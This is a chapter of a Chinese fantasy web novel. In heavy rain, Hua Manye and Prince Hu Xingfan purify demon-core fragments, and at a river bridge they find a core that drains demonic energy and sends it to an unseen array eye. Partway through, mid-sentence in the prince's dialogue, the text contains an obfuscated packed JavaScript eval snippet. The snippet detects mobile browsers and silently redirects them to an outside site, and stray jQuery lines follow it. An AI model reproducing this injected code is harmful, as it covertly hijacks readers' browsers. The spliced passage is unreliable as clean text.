今日大雨。
这雨从清晨开始,下得毫不留情,带走了仅剩的一点热乎气。
因为地理位置更靠北的原因,泗原的温度会比鼓瑟镇凉一些,鼓瑟镇还是夏天,这边却已经需要穿外搭小褂子了。
行宫后厨一早就开始忙活,将切得细碎的雪菜和瘦肉丁用猪油煸出香味、葱姜下锅爆得酥脆金黄,再倒进已经熬至软糯绵滑的白米粥里、上桌的时候还咕嘟着,香气直往楼上窜。
扈星帆早早喂饱了他的鸟儿,下楼来边吃饭边等花漫野。
按照约定,今日要一起去净化几处比较棘手的碎片,只是这雨势迅猛,不知会不会影响净化效果。
他慢条斯理喝着粥,在快喝完的时候终于听见脚步声从楼上传下来。
花漫野还没走到一楼,就已经闻到了炸酥饼的香气,脚步顿时加快不少。
她昨晚本就因打坐错过时辰、没吃饭,后来祝陌归突然找来、两人一番“论道”、换来满心柔软,更是没了吃东西的心思。竟就空着肚子过了一夜,现在饿得紧,三步两步来到了餐桌旁。
“三皇子,早啊!”
她给自己拉开一张椅子、大剌剌坐下和扈星帆打了招呼,拿了筷子对着桌上的酥饼就招呼开了。
一旁的侍者拿了碗要帮她盛粥,她飞快地看了一眼桌上还热腾着的小锅,拒绝了。
“不用盛了,麻烦你帮我倒杯热水就行。”
扈星帆闻言撇了一眼锅、没搭这茬,咽下最后一口粥顾自问道:“小漫野,昨日休息得如何?”
“还好,就是没想到今天这雨这么大,不知道咱们净化会不会受影响,希望街上人不多。”
“不方便的地方我会命人戒严,无需过虑。我只担心这天气,会不会影响你的阵?”
花漫野吃得飞快,转眼一个酥饼已经进了肚,她擦了擦嘴,一边站起来一边答:“无妨,我多上心就是。”
扈星帆盯着眼前作势要走的人,疑惑道:“你这就吃完了?”
“嗯,走吧,久等了。”
见她态度干脆,扈星帆也没多坚持,命人备车准备走。
花漫野一听下人要去套车、顿觉不妥:孤男寡女在一个车厢里,唯恐传言更加热闹。
但她不想拂了对方的好意,所以试探性地问:“三王子,可能骑马?”
扈星帆在魔界也是战功赫赫、威震八方的人物,这话听起来简直是在骂他,他嗤笑出声,反问:“小漫野,你不如直接问我会不会吃饭呢?”
花漫野一愣,随即马上反应过来对方是误会了,解释道:“我的意思是,我们能不能骑马去、不坐车?”
扈星帆闻言也是一愣,恍然道:“抱歉,没睡够时辰脑子不好使、是我误会了。可以骑马去,但是这么大的雨,你确定吗?”
花漫野点头:“以目前的传闻热度,万一共乘被有心人看到,更加会误会,更不好解释了。”
“前些天不是还说对流言不作回应吗?怎么今日开始着急避嫌了?”
“不作回应不是推波助澜。只是不解释、不代表要让流言更严重啊。”
“好,那就依你,备马。”
一炷香后,马已经备好,二人披上蓑衣斗笠,走出大门。
门口停着两匹魔族特有的乌青大马:以高大健硕、烈性擅战著称,传说可与猛兽相搏。
花漫野径直走向后面站着的那匹,先是摸摸马头让它熟悉自己,见马儿状态不错、还没等侍者搬来马凳便拢了拢缰绳、一手抓鞍翻身上马,坐定之后觉得自己整个人都高了一大截。
扈星帆怕她出什么闪失、一直在边上看着没上马,在发现她迅速摸对了自家马儿的脾气之后有些意外,一边上马一边赞许道:
“小漫野你居然擅长骑马!这倒是我怠慢了,一直以为乌青马太过高大怕你不好驾驭、藏着掖着没肯拿出来呢,却没想到你是把好手。”
“我就是上个马,这都能看出来好手了?家里父兄善骑射,母亲曾纵马逐日,我不想给他们丢人、也学了一些。”
扈星帆笑了一声算作答复,回身打马前行,花漫野紧跟在后,二人直奔目的地而去。
今日的目标是三处较大的魔丹碎片,分别在学堂、医馆和行宫部与生活部交界处。
由于前一天就已经将日程定好,扈星帆早早给学堂安排了休沐、给医馆安排了护卫体检,故两处都进行得很顺利。
此时雨势减弱,二人策马来到生活部与行宫部交界处。
由于两个部分都有很多居民居住,生活部和行宫部其实没有十分明显的区别,只以一条内河为界。
河岸蜿蜒,雨幕遮掩下碎片不太好找,扈星帆找了很久才锁定碎片的具体位置——在一个石桥附近。
花漫野将马拴在稍远些的树上,围着石桥走了一圈,而后果断脱了蓑衣跳入水中,果然在石桥的桥墩处找到了掩藏于水草中的魔丹碎片。
但与其它不同的是,这颗魔丹趋于完整,且通体散发出黑气,源源不绝、似乎还有生命力蕴藏其中。
花漫野没见过这种魔丹,忙唤来还在另一侧水中寻找的魔族西王。
扈星帆游近细致观察半晌,面色不善。
他将魔丹拿在手中、稍加施力,那魔气不但没有衰减反而黑气更盛。
扈星帆施了个法,二人从水中到了桥上,他始终紧盯着手中的魔丹,对花漫野说:
“我再对它施力一次,你看看有什么变化没有。”
花漫野答应着,全程仔细观察着他手中的动作。
只见随着他注入魔丹的力道加大,魔丹的黑气逐渐浓郁、而后黑气似乎不满足于魔丹的狭小、如同伸出的触手般不断延长、向虚空中延伸出去、越来越淡。
扈星帆收了手上的动作,魔丹的黑气也停止了伸展,逐渐、缓慢地变淡了许多,但依然能看出它的轨迹。
花漫野神情严肃道:
“它与别的碎片不同,它似乎是在吸收魔气,可这触手是指向哪里?”
扈星帆同样沉着脸,冷声说:
“这是个魔镇,你不知道也正常。”
花漫野疑惑地看向他,静待下文。
扈星帆接着说:
“它的确是在吸收魔气,然后把吸收的魔气运输至一个地方。与南王混沌将魔气引入无尽荒原类似,但这并不是我们做的、是布置碎片的人做的。
“如果我没猜错的话,它与明天要除掉的最后两个碎片一样,都是这种吸收魔气的阵脚。”
“吸收魔气,运去哪里?设这个阵目的是什么?”
扈星帆摇头不语,片刻后将手中的碎片递于花漫野,道:
“小漫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039454|175687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
野,这个魔丹力量强大,净化起来恐怕有些困难,你好好看看、不要轻敌,轻敌反而受伤。”
花漫野接过它,对扈星帆最后确认道:
“你说它是三个阵脚之一,冒然毁去会不会引起什么麻烦?”
扈星帆无奈道:
“麻烦不麻烦,也要毁掉。
“这些阵脚负责吸收周围的魔气、传给阵眼,之前魔气过剩,完全足够它们吸收和输送给阵眼。但随着净化的范围越来越大,魔气越来越稀薄,它们吸收不到魔气、便会自己找魔气来吸,哪怕是生魂也逃脱不过。
“若是不毁,终是子民受害。”
花漫野又问:“那我毁了它,会有什么后果?”
扈星帆答:
“阵眼会感知到,但由于这阵的阵眼是另一个传输阵,目前不知道阵眼的最终传输地点在哪里,所以无法得知会引发什么后果。只能走一步看一步。”
花漫野眉头紧皱:
“我怎么觉得自己上了艘贼船?这么没把握的事你就敢让我干?”
对方显然也没什么更好的方法,他甚至变得坦白了许多:
“我都不对你隐瞒魔族内部暗流涌动的事了,不就已经说明我们是在一条船上?”
花漫野对于这迟来的坦诚报以真诚的白眼。
她虽知此事未知部分过多、不宜继续插手,但这阵确实会吸收魔气,且净化已经到了这一步,若是放任不管、魔族子民依然受害,自己这一趟之前的净化成果全部白费。
她叹了口气,没好气地对扈星帆说:“给我清场!”
扈星帆连忙赔笑照做。
花漫野将魔丹置于面前地面上,先是在周围布了净灵阵法,而后双手食指各自抵住魔丹一侧,将灵核中火系力量调动起来、运至指尖,同时闭目默念阵诀。
指尖生出赤色火焰,伴随着朱雀神火的煅炼和净灵阵法的压制分解,魔丹逐渐升温、变软,颜色由黑转红、又由红转白,但就在它完全别瓦解为一滩软泥时,里面困住的黑气猛然被释放,周围被扈星帆提前封闭好的空间霎时被魔瘴填满。
花漫野全神贯注消熔着魔丹,无法分神去应对突如其来的浓郁魔瘴对识海的冲击。
一瞬间,暴戾、消极、怨怼、憎恶,无数负面情绪争先恐后想挤进她的识海,她咬牙挺着,指尖的火越烧越旺、口中阵诀越念越快。
终于,魔丹被消熔殆尽,净灵阵盛大的蓝光重新斥散了黑雾。
总算成功了。
花漫野睁开眼,确认周围确实已经被净化完全,她眼见着扈星帆向自己快步走来,咽下喉间的腥气、调着息,没着急马上站起来。
扈星帆知道这个魔丹净化起来难度大一些,但是他也没想到魔丹中居然包含了如此之多的魔气。
在刚刚魔气爆发出来的时候,饶是他也险些被戾气冲撞、乱了心神。
好在他实力强大,第一时间稳住心脉、同时尽可能多的吸收着周围的魔气,也算是尽力帮了她。
待黑雾散尽,他有些担心地看向花漫野所在的地方,见她脸色惨白、顿觉不好,忙快步赶去。
“小漫野,你怎么样?还能起来吗?”
花漫野摇头示意自己没事。
又等了一会儿,她才调匀了气息说话:“这幕后整你的人,好生厉害。”